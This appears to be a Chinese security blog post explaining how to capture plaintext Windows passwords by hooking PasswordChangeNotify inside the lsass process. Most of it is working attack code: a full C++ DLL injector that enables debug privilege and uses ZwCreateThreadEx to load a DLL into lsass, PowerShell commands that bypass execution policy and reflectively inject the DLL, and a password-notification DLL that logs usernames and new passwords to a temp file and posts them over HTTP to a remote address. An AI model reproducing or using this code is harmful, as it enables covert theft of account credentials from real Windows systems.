<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    淺談無需修改注冊表抓取明文密碼

    VSole2021-11-02 16:56:49

    前言

    在win2012以前的操作系統版本下,由于WDigest將明文儲存到lsass進程中,可以抓取明文密碼。在win2012版本以后需要通過修改注冊表才能抓取到明文密碼,否則只能是hash。修改注冊表意味著有很銘感的操作,那么有哪些方法可以讓我們無需修改注冊表抓取到win2012以上版本的明文密碼呢?本文就通過HookPasswordChangeNotify無需修改注冊表抓取明文密碼進行淺談。

    LSA

    LSA全稱Local Security Authority,是微軟窗口操作系統的一個內部程序,負責運行Windows系統安全政策。它在用戶登錄時電腦單機或服務器時,驗證用戶身份,管理用戶密碼變更,并產生訪問字符。它也會在窗口安全記錄檔中留下應有的記錄。用于身份的驗證。其中就包含有lsass.exe進程。

    PasswordChangNotify

    PasswordChangeNotify是windows提供的一個API。

    在修改密碼時,用戶輸入新密碼后,LSA 會調用 PasswordFileter 來檢查該密碼是否符合復雜性要求,如果密碼符合要求,LSA 會調用 PasswordChangeNotify,在系統中同步密碼。這個過程中會有明文形式的密碼經行傳參,只需要改變PasswordChangeNotify的執行流,獲取到傳入的參數,也就能夠獲取到明文密碼。

    msdn文檔:https://docs.microsoft.com/en-us/windows/win32/api/ntsecapi/nc-ntsecapi-psam_password_notification_routine

    HOOK PasswordChangeNotify

    具體實現思路如下:

    1. 為PasswordChangeNotify創建一個鉤子,將函數執行流重定向到我們自己的PasswordChangeNotifyHook函數中。
    2. 在PasswordChangeNotifyHook函數中寫入獲取密碼的代碼,然后再取消鉤子,重新將執行流還給PasswordChangeNotify。
    3. 將生成的dll注入到lssas進程中。使用HOOK PasswordChangeNotify無需重啟系統或修改注冊表,更加隱蔽且貼合實際。

    遠線程注入(突破session0)

    已有前輩寫了相關的Inline hook代碼。

    項目地址:https://github.com/clymb3r/Misc-Windows-Hacking

    打開項目后,將MFC的使用設置為在靜態庫中使用MFC。

    F7編譯即可。

    dll生成后就需要注入dll,注入的方式也很多了,可以起一個線程去遠線程注入。由于是注入lsass進程,一般的遠線程注入是無法注入成功的,需要突破session 0,使用更為底層的ZwCreateThreadEx。正好之前有寫過一個注入的代碼,這里直接貼上來。

    #include #include #include "tchar.h"#include 
    using namespace std;
    BOOL EnbalePrivileges(HANDLE hProcess, LPCWSTR pszPrivilegesName){    HANDLE hToken = NULL;    LUID luidValue = { 0 };    TOKEN_PRIVILEGES tokenPrivileges = { 0 };    BOOL bRet = FALSE;    DWORD dwRet = 0;    // 打開進程令牌并獲取進程令牌句柄    bRet = ::OpenProcessToken(hProcess, TOKEN_ADJUST_PRIVILEGES, &hToken);    if (FALSE == bRet)    {        printf("[!] Open CurrentProcessToken Error,Error is:%d",GetLastError());        return FALSE;    }    else    {        printf("[*] Open CurrentProcessToken Successfully!,TokenHandle is:%d", hToken);    }    // 獲取本地系統的 pszPrivilegesName 特權的LUID值    bRet = ::LookupPrivilegeValue(NULL, pszPrivilegesName, &luidValue);    if (FALSE == bRet)    {        printf("[!] LookupPrivilegeValue Error,Error is:%d", GetLastError());        return FALSE;    }    else    {        printf("[*] LookupPrivilegeValue Successfully!");    }    // 設置提升權限信息    tokenPrivileges.PrivilegeCount = 1;    tokenPrivileges.Privileges[0].Luid = luidValue;    tokenPrivileges.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;    // 提升進程令牌訪問權限    bRet = ::AdjustTokenPrivileges(hToken, FALSE, &tokenPrivileges, 0, NULL, NULL);    if (FALSE == bRet)    {        printf("[!] AdjustTokenPrivileges Error,Error is:%d", GetLastError());        return FALSE;    }    else    {        // 根據錯誤碼判斷是否特權都設置成功        dwRet = ::GetLastError();        if (ERROR_SUCCESS == dwRet)        {            printf("[√] ALL_ASSIGNED!");            return TRUE;        }        else if (ERROR_NOT_ALL_ASSIGNED == dwRet)        {            printf("[!] ERROR:NOT_ALL_ASSIGNED,Error is %d", dwRet);            return FALSE;        }    }    return FALSE;}DWORD EnumModules(DWORD hPid, LPCSTR hMoudlePath){    WCHAR szBuffer[MAX_PATH] = { 0 };    mbstowcs(szBuffer, hMoudlePath, MAX_PATH);    //通過pid列出所有的Modules    HANDLE hModuleSnap = INVALID_HANDLE_VALUE;    MODULEENTRY32    me32;
        //給進程所引用的模塊信息設定一個快照    hModuleSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, hPid);    if (hModuleSnap == INVALID_HANDLE_VALUE)    {        printf("[!] Error:Enum modules failed to detect if there is an injected DLL module,error is %d" ,GetLastError());    }    me32.dwSize = sizeof(MODULEENTRY32);    if (!Module32First(hModuleSnap, &me32))    {        printf("[!] Enum Error!");        CloseHandle(hModuleSnap);    }    do    {        if(!memcmp(me32.szExePath, szBuffer,MAX_PATH))            return 1;                } while (Module32Next(hModuleSnap, &me32));    CloseHandle(hModuleSnap);    return 0;}DWORD _InjectThread(DWORD _Pid, LPCSTR psDllPath){    FILE* fp;    fp = fopen(psDllPath, "r");    if (!fp)    {        printf("[!] Error:DLL path not foundPlease check that your path is correct or absolute");        return FALSE;    }    fclose(fp);    printf("****************************************************************************");    HANDLE hprocess = NULL;    HANDLE hThread = NULL;    DWORD _SIZE = 0;    LPVOID pAlloc = NULL;    FARPROC pThreadFunction = NULL;    DWORD ZwRet = 0;    hprocess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, _Pid);    if (hprocess == NULL)    {        printf("[!] OpenProcess Error,Error is:%d", GetLastError());        return FALSE;    }    else    {        printf("[*] OpenProcess Successfully!");    }    _SIZE = strlen(psDllPath)+1;    pAlloc = ::VirtualAllocEx(hprocess, NULL, _SIZE, MEM_COMMIT, PAGE_READWRITE);    if (pAlloc == NULL)    {        printf("[!] VirtualAllocEx Error,Error is:%d", GetLastError());        return FALSE;    }    else    {        printf("[*] VirtualAllocEx Successfully!");    }    BOOL x = ::WriteProcessMemory(hprocess, pAlloc, psDllPath, _SIZE, NULL);    if (FALSE == x)    {        printf("[!] WriteMemory Error,Error is:%d", GetLastError());        return FALSE;    }    else    {        printf("[*] WriteMemory Successfully!");    }
        HMODULE hNtdll = LoadLibrary(L"ntdll.dll");    if (hNtdll == NULL)    {        printf("[!] LoadNTdll Error,Error is:%d", GetLastError());        return FALSE;    }    else    {        printf("[*] Load ntdll.dll Successfully!");    }    pThreadFunction = ::GetProcAddress(::GetModuleHandle(L"kernel32.dll"), "LoadLibraryA");    if (pThreadFunction == NULL)    {        printf("[!] Get LoadLibraryA Address Error,Error is:%d", GetLastError());        return FALSE;    }    else    {        printf("[*] Get LoadLibraryA Address Successfully! Address is %x", pThreadFunction);    }#ifdef _WIN64    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        ULONG CreateThreadFlags,        SIZE_T ZeroBits,        SIZE_T StackSize,        SIZE_T MaximumStackSize,        LPVOID pUnkown        );#else    typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)(        PHANDLE ThreadHandle,        ACCESS_MASK DesiredAccess,        LPVOID ObjectAttributes,        HANDLE ProcessHandle,        LPTHREAD_START_ROUTINE lpStartAddress,        LPVOID lpParameter,        BOOL CreateSuspended,        DWORD dwStackSize,        DWORD dw1,        DWORD dw2,        LPVOID pUnkown        );#endif     typedef_ZwCreateThreadEx ZwCreateThreadEx = NULL;    ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdll, "ZwCreateThreadEx");
        if (ZwCreateThreadEx == NULL)    {        printf("[!] Get ZwCreateThreadEx Address Error,Error is:%d", GetLastError());        return FALSE;    }    else    {        printf("[*] Get ZwCreateThreadEx Address Successfully! Address is %x", ZwCreateThreadEx);    }    HANDLE hRemoteThread;    ZwRet = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hprocess,        (LPTHREAD_START_ROUTINE)pThreadFunction, pAlloc, 0, 0, 0, 0, NULL);
        if (hRemoteThread == NULL)    {        printf("[!] Creat RemoteThread Error,Error is:%d", GetLastError());        CloseHandle(hprocess);        return FALSE;    }
        printf("[*] Please wait for a moment in the process of injection:");    for(int m = 0;m<5;m++)    {        if (EnumModules(_Pid, psDllPath))        {            printf("[√] Creat RemoteThread Successfully! RemoteThread Id is %x", hRemoteThread);            VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);            CloseHandle(hRemoteThread);            CloseHandle(hprocess);            FreeLibrary(hNtdll);            return TRUE;        }        Sleep(2000);    }    printf("[!] DLL injection failed!Notice:Please check that your path is absolute or correct");
        VirtualFreeEx(hprocess, pAlloc, 0, MEM_RELEASE);    CloseHandle(hRemoteThread);    CloseHandle(hprocess);    FreeLibrary(hNtdll);    return FALSE;}int main(int argc, char* argv[]){    if (argc == 3)    {        EnbalePrivileges(GetCurrentProcess(), SE_DEBUG_NAME);        DWORD dwPid;        sscanf(argv[1],"%d", &dwPid);        _InjectThread(dwPid, argv[2]);        return 1;    }    else    {        printf("[!] You passed in the wrong number of parameters!Please pass in two parameters.");        printf("[!] Notice:[!] The first parameter is the PID of the target process[!] The second parameter is the location of the injected DLL,Please enter the absolute path!");        return 0;    }}
    找到lsass進程的pid后直接開始注入。
    

    可以通過procexp64.exe看下dll到底注入成功沒有。這里要注意以管理員運行procexp64.exe,不然會無法看到lsass的組成模塊,因為遍歷高權限進程模塊本身就需要權限。

    然后就更改一下密碼。

    但是這里卻失敗了,C:\Windows\Temp路徑下并沒有password.txt文件,當要刪除HookPasswordChange.dll文件時也無法刪除,說明是真正注入進去了,有點疑惑。

    后面通過反射加載的方式可以獲取到明文密碼,這里就有點不懂了,反射加載和直接加載就是加載方式的區別,最后dll都在進程空間里面,但是這里為何為失敗確實沒想明白。由于筆者學識尚淺,有懂得師傅請不吝賜教。

    利用PS腳本

    https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1

    注意這里該腳本是使用反射dll加載。

    使用該腳本HookPasswordChange.dll注入內存

    Set-ExecutionPolicy bypassImport-Module .\Invoke-ReflectivePEInjection.ps1Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
    

    再次修改密碼后可在C:\Windows\Temp目錄下查看到passwords文件

    這個文件位置是可以修改的,只需要修改HookPasswordChange.cpp文件,路徑改一下就行。

    由于是反射dll加載,沒有通過LoadLibrary等API加載,procexp64.exe無法再找到相應的dll。并且是內存中直接展開,可以直接刪除掉HookPasswordChange.dll文件。如果需要遠程將密碼返回到服務端,可以再寫一個dll,用http協議經行傳輸

    #include #include #include #include 
    void writeToLog(const char* szString){    FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");    if (NULL == pFile)    {        return;    }    fprintf(pFile, "%s\r", szString);    fclose(pFile);    return;}
    // Default DllMain implementationBOOL APIENTRY DllMain( HANDLE hModule,                        DWORD  ul_reason_for_call,                        LPVOID lpReserved                     ){    OutputDebugString(L"DllMain");    switch (ul_reason_for_call)    {        case DLL_PROCESS_ATTACH:        case DLL_THREAD_ATTACH:        case DLL_THREAD_DETACH:        case DLL_PROCESS_DETACH:            break;    }    return TRUE;}
    BOOLEAN __stdcall InitializeChangeNotify(void){    OutputDebugString(L"InitializeChangeNotify");    writeToLog("InitializeChangeNotify()");    return TRUE;}
    BOOLEAN __stdcall PasswordFilter(    PUNICODE_STRING AccountName,    PUNICODE_STRING FullName,    PUNICODE_STRING Password,    BOOLEAN SetOperation ){    OutputDebugString(L"PasswordFilter");    return TRUE;}
    NTSTATUS __stdcall PasswordChangeNotify(    PUNICODE_STRING UserName,    ULONG RelativeId,    PUNICODE_STRING NewPassword ){  FILE* pFile = fopen("c:\\windows\\temp\\logFile.txt", "a+");  //HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_PRECONFIG,NULL,NULL,0);    HINTERNET hInternet = InternetOpen(L"Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0",INTERNET_OPEN_TYPE_DIRECT,NULL,NULL,0);    HINTERNET hSession = InternetConnect(hInternet,L"192.168.1.1",80,NULL,NULL,INTERNET_SERVICE_HTTP ,0,0);    HINTERNET hReq = HttpOpenRequest(hSession,L"POST",L"/",NULL,NULL,NULL,0,0);    char* pBuf="SomeData";
        OutputDebugString(L"PasswordChangeNotify");    if (NULL == pFile)    {        return;    }    fprintf(pFile, "%ws:%ws\r", UserName->Buffer,NewPassword->Buffer);  fclose(pFile);    InternetSetOption(hSession,INTERNET_OPTION_USERNAME,UserName->Buffer,UserName->Length/2);    InternetSetOption(hSession,INTERNET_OPTION_PASSWORD,NewPassword->Buffer,NewPassword->Length/2);    HttpSendRequest(hReq,NULL,0,pBuf,strlen(pBuf));
        return 0;}
    
    printfgetlasterror
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    API(Application Programming Interface),我們調用時只需提供正確的參數以及接收返回值就可以判斷API執行是否成功或者通過GetLastError獲得錯誤原因.
    相關例子如下,編譯的時候需要在Debug模式:#define _CRTDBG_MAP_ALLOC. main.cpp : {163} normal block at 0x000002882AE17740, 12 bytes long.Data: < M > 07 00 00 00 4D 00 00 00 09 03 00 00. main.cpp : {162} normal block at 0x000002882AE148C0, 4 bytes long.內存的申請在C++編程語言中,內存申請對應的關鍵字是new或malloc,其實new最后調用的也是malloc函數,對應源代碼文件是debug_heap.cpp。在包含相關頭文件之后,malloc函數的調用棧為:malloc -> _malloc_dbg -> heap_alloc_dbg -> heap_alloc_dbg_internal。_CrtMemBlockHeader* _block_header_prev; // 雙向鏈表,訪問該雙向鏈表的全局變量為__acrt_first_block. size_t _data_size; // malloc分配的大
    unsigned char* dstbuf = dstblock + 4 + CRYPT_KEY_SIZE + 4;int dstbuflimit = dstbufsize - 4 - CRYPT_KEY_SIZE - 4;
    全局鉤子注入-獲取QQ密碼實現 全局鉤子注入-獲取QQ密碼實現 水一篇????? SetWindowsHookExA 將應用程序定義的掛鉤過程安裝到掛鉤鏈中。您將安裝一個掛鉤程序來監視系統中某些類型的事件。這些事件與特定線程或與調用線程相同的桌面中的所有線程相關聯。
    注冊表在我們的計算機里面,有一些程序是可以設置成開機自啟的,這種程序一般都是采用往注冊表里面添加鍵值指向自己的程序路徑來實現開機自啟在windows里面開機自啟的注冊表路徑如下//用戶級。
    本文主要以簡單、直接的代碼方式向讀者呈現了一些權限維持的功能代碼方面的小技巧。這些小技巧也許很多人(Ex:myself)不知道,但又有可能對此實現有所需要。為了解決這個問題,筆者通過瀏覽一些資料結合自己的實踐,初步整理出這三個功能小技巧,后續可用于穿插于Window權限維持的具體實現程序。
    在win2012以前的操作系統版本下,由于WDigest將明文儲存到lsass進程中,可以抓取明文密碼。
    聲明 由于傳播、利用此文所提供的信息而造成的任何直接或者間接的后果及損失,均由使用者本人負責,雷神眾測以及文章作者不為此承擔任何責任。雷神眾測擁有對此文章的修改和解釋權。如欲轉載或傳播此文章,必須保證此文章的完整性,包括版權聲明等全部內容。未經雷神眾測允許,不得任意修改或者增減此文章內容,不得以任何方式將其用于商業目的。
    CVE-2023-21768 Windows Ancillary Function Driver afd.sys本地提權漏洞。本文是對exp代碼的分析,完整exp :?xforcered/Windows_LPE_AFD_CVE-2023-21768: LPE exploit for CVE-2023-21768 漏洞分析個人感覺整個exp中最精華的部分在ioring的lpe部分,這部分代碼來自Yarden Shafir。I/O ringi/o ring 是Windows 11新出現的一種機制,參考ioringapi - Win32 apps | Microsoft Learn通過CreateIoRing來創建一個IORING_OBJECT對象。submission queue的結構是頭部+若干個NT_IORING_SEQ,Head和Tail之間的NT_IORING_SEQ是還未被處理的NT_IORING_SEQ。通過SubmitIoRing函數提交。創建I/O ring創建I/O ring對象,再創建兩個命名管道用做讀寫句柄。創建I/O ringint ioring_setup{ int ret = -1; IORING_CREATE_FLAGS ioRingFlags = { 0 }; ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE; ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE; ret = CreateIoRing; if (0 !
    初探DLL注入
    2023-02-06 10:35:24
    DLL注入是指向運行中的其它進程強制插入特定的DLL文件。從技術細節來說,DLL注入命令其它進程自行調用LoadLibrary()API,加載用戶指定的DLL文件。從上圖可以看到,test.dll已被強制插入進程。加載到某一進程中的test.dll與已經加載到某一進程中的dll一樣,擁有訪問notepad.exe進程內存的權限。DLL被加載到進程后會自動運行DLLMain()函數,用戶可以把想執行的代碼放到DLLMain()函數,每當加載DLL時,添加的代碼就會得到執行。利用這種特性可以修復程序Bug以及添加新功能
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类